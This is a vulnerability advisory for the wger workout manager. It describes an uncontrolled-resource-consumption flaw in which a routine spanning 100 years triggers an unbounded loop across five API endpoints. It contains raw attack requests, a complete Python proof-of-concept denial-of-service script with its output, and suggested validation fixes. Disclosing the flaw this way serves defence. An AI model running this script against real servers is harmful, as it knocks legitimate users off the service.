PT-2026-42887 · Pypi · Wger

Published

2026-05-13

·

Updated

2026-05-13

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the date sequence computation via any of the routine detail endpoints. The server iterates once per day in an unbounded while loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.

Details

The Routine model (file: wger/manager/models/routine.py) has start and end date fields with only one validation -- start must not be after end:
python
# File: wger/manager/models/routine.py, line 151
def clean(self):
  if self.end and self.start and self.start > self.end:
    raise ValidationError('The start time cannot be after the end time.')
  # NO maximum duration check
The RoutineSerializer (file: wger/manager/api/serializers.py, line 43) likewise performs no validation on the delta between start and end.
The date sequence property (line 256) uses an unbounded loop:
python
# File: wger/manager/models/routine.py, line 256
while current date <= self.end:
  # heavy computation per day: slots, entries, configs, logs
  ...
A routine with start=2000-01-01 and end=2099-12-31 produces 36,525 iterations, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:
  • GET /api/v2/routine/<id>/date-sequence-display/
  • GET /api/v2/routine/<id>/date-sequence-gym/
  • GET /api/v2/routine/<id>/structure/
  • GET /api/v2/routine/<id>/logs/
  • GET /api/v2/routine/<id>/stats/

PoC

Prerequisites

  • One authenticated user account
  • No special permissions required

Attack Steps

# 1. Create a 100-year routine
POST /api/v2/routine/
Authorization: Token <token>
Content-Type: application/json

{
  "name": "DoS routine",
  "start": "2000-01-01",
  "end": "2099-12-31"
}

# 2. Add at least one day (to make computation non-trivial)
POST /api/v2/day/
Authorization: Token <token>
Content-Type: application/json

{
  "routine": <routine id>,
  "order": 1,
  "name": "Day A"
}

# 3. Trigger the expensive computation
GET /api/v2/routine/<routine id>/date-sequence-display/
Authorization: Token <token>
Expected: HTTP 400 (routine duration exceeds maximum) Actual: HTTP 200 with 36,525 entries after several seconds of server CPU time

Proof of Concept Script

python
#!/usr/bin/env python3
"""
PoC: Unbounded date sequence Denial of Service
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-400: Uncontrolled Resource Consumption

Usage:
  python3 poc.py http://localhost:8000
"""

import requests
import sys
import time

if len(sys.argv) < 2:
  print(f"Usage: {sys.argv[0]} <BASE URL>")
  print(f"Example: {sys.argv[0]} http://localhost:8000")
  sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

ATTACKER USER = "dos attacker poc"
ATTACKER PASS = "DosAttack!Poc!2025"

BANNER = """
=====================================================================
 PoC: Unbounded date sequence Denial of Service
 Severity: HIGH
 CWE-400: Uncontrolled Resource Consumption
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api login(username, password):
  r = requests.post(f"{API}/login/", json={
    "username": username, "password": password
  })
  if r.status code == 200:
    return r.json().get("token")
  return None

def api headers(token):
  return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate ----

print("[1] Authenticating...")

token = api login(ATTACKER USER, ATTACKER PASS)
if not token:
  print(f"  Registering account...")
  r = requests.post(f"{API}/register/", json={
    "username": ATTACKER USER,
    "password": ATTACKER PASS,
  })
  if r.status code in (200, 201):
    token = r.json().get("token")
  if not token:
    token = api login(ATTACKER USER, ATTACKER PASS)
  if not token:
    print(f"[-] Cannot authenticate. Response: {r.text[:200]}")
    sys.exit(1)
print(f"  Token: {token[:16]}...")

headers = api headers(token)


# ---- 2. Create NORMAL routine (baseline) ----

print("
[2] Creating baseline routine (30 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={
  "name": "Normal 30-day routine",
  "start": "2025-01-01",
  "end": "2025-01-31",
})
normal id = r.json()["id"]

r = requests.post(f"{API}/day/", headers=headers, json={
  "routine": normal id, "order": 1, "name": "Day A"
})

print(f"  Routine id={normal id} (30 days)")
start time = time.time()
r = requests.get(
  f"{API}/routine/{normal id}/date-sequence-display/",
  headers=headers,
)
baseline time = time.time() - start time
baseline entries = len(r.json()) if r.status code == 200 else 0
print(f"  date-sequence-display: {r.status code}, "
   f"{baseline entries} entries, {baseline time:.2f}s")


# ---- 3. Create MALICIOUS routine (100 years) ----

print(f"
[3] Creating malicious routine (100 years = 36,525 days)...")

r = requests.post(f"{API}/routine/", headers=headers, json={
  "name": "DoS routine - 100 years",
  "start": "2000-01-01",
  "end": "2099-12-31",
})

if r.status code != 201:
  print(f"  [-] Failed to create: {r.status code} {r.text[:200]}")
  sys.exit(1)

dos id = r.json()["id"]
print(f"  Routine id={dos id}")
print(f"  start=2000-01-01, end=2099-12-31")
print(f"  Duration: ~36,525 days (NO validation limit!)")

r = requests.post(f"{API}/day/", headers=headers, json={
  "routine": dos id, "order": 1, "name": "DoS Day"
})


# ---- 4. ATTACK ----

print(f"
{'='*65}")
print(f" ATTACK: Triggering date sequence on 100-year routine")
print(f"{'='*65}")

print(f"
 GET {API}/routine/{dos id}/date-sequence-display/")
print(f" This will iterate ~36,525 times in a while loop...")

start time = time.time()
try:
  r = requests.get(
    f"{API}/routine/{dos id}/date-sequence-display/",
    headers=headers,
    timeout=120,
  )
  elapsed = time.time() - start time
  dos entries = len(r.json()) if r.status code == 200 else 0

  print(f"
 Response: HTTP {r.status code}")
  print(f" Entries returned: {dos entries}")
  print(f" Time elapsed: {elapsed:.2f}s")

except requests.exceptions.Timeout:
  elapsed = time.time() - start time
  dos entries = 0
  print(f"
 REQUEST TIMED OUT after {elapsed:.2f}s!")

except requests.exceptions.ConnectionError:
  elapsed = time.time() - start time
  dos entries = 0
  print(f"
 CONNECTION LOST after {elapsed:.2f}s!")


# ---- 5. VERIFY ----

print(f"
{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")

print(f"
 Baseline (30-day routine):")
print(f"  Entries: {baseline entries}")
print(f"  Time:  {baseline time:.2f}s")
print(f"
 Malicious (100-year routine):")
print(f"  Entries: {dos entries}")
print(f"  Time:  {elapsed:.2f}s")

if elapsed > baseline time * 5 or dos entries > 10000:
  slowdown = elapsed / baseline time if baseline time > 0 else float('inf')
  print(f"
 Slowdown factor: {slowdown:.1f}x")
  print("""
 +----------------------------------------------------------+
 | VULNERABILITY CONFIRMED                 |
 |                             |
 | No maximum duration is enforced on routines.      |
 | The date sequence property loops once per day with no  |
 | upper bound. A 100-year routine forces ~36,525     |
 | iterations of expensive O(days x slots x configs) work. |
 | A single request can exhaust a server worker thread.  |
 +----------------------------------------------------------+
""")
else:
  print("
 Response was fast - server may have limits or caching.")

Proof of Concept Output

=====================================================================
 PoC: Unbounded date sequence Denial of Service
 Severity: HIGH
 CWE-400: Uncontrolled Resource Consumption
=====================================================================

[1] Authenticating...
  Registering account...
  Token: 2ffbb18316fc4e0f...

[2] Creating baseline routine (30 days)...
  Routine id=5 (30 days)
  date-sequence-display: 200, 31 entries, 0.02s

[3] Creating malicious routine (100 years = 36,525 days)...
  Routine id=6
  start=2000-01-01, end=2099-12-31
  Duration: ~36,525 days (NO validation limit!)

=================================================================
 ATTACK: Triggering date sequence on 100-year routine
=================================================================

 GET http://localhost/api/v2/routine/6/date-sequence-display/
 This will iterate ~36,525 times in a while loop...

 Response: HTTP 200
 Entries returned: 36525
 Time elapsed: 3.06s

=================================================================
 VERIFICATION
=================================================================

 Baseline (30-day routine):
  Entries: 31
  Time:  0.02s

 Malicious (100-year routine):
  Entries: 36525
  Time:  3.06s

 Slowdown factor: 138.4x

 +----------------------------------------------------------+
 | VULNERABILITY CONFIRMED                 |
 |                             |
 | No maximum duration is enforced on routines.      |
 | The date sequence property loops once per day with no  |
 | upper bound. A 100-year routine forces ~36,525     |
 | iterations of expensive O(days x slots x configs) work. |
 | A single request can exhaust a server worker thread.  |
 +----------------------------------------------------------+

Impact

  1. Worker Thread Exhaustion: Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.
  2. Amplification with Slots: The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.
  3. No Authentication Barrier Beyond Login: Any registered user can perform this attack. No elevated permissions are required.
  4. Cache Bypass: The first request for each routine (or after ROUTINE CACHE TTL expires) always runs the full computation. An attacker can create new routines to avoid cache hits.
  5. Five Affected Endpoints: date-sequence-display, date-sequence-gym, structure, logs, and stats all trigger the same unbounded loop.

Fix

1. Add maximum duration validation in the model

python
# File: wger/manager/models/routine.py
MAX ROUTINE DAYS = 365

def clean(self):
  if self.end and self.start:
    if self.start > self.end:
      raise ValidationError('Start cannot be after end.')
    if (self.end - self.start).days > self.MAX ROUTINE DAYS:
      raise ValidationError(
        f'Routine cannot span more than {self.MAX ROUTINE DAYS} days.'
      )

2. Add the same validation in the serializer

python
# File: wger/manager/api/serializers.py
class RoutineSerializer(serializers.ModelSerializer):
  def validate(self, data):
    start = data.get('start')
    end = data.get('end')
    if start and end and (end - start).days > 365:
      raise serializers.ValidationError(
        'Routine cannot span more than 365 days.'
      )
    return data

3. Add a safety cap in date sequence (defence-in-depth)

python
# File: wger/manager/models/routine.py, inside date sequence property
MAX SEQUENCE DAYS = 400
count = 0
while current date <= self.end:
  count += 1
  if count > MAX SEQUENCE DAYS:
    break
  ...

Fix

Resource Exhaustion

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-V25J-WQCW-FVHJ

Affected Products

Wger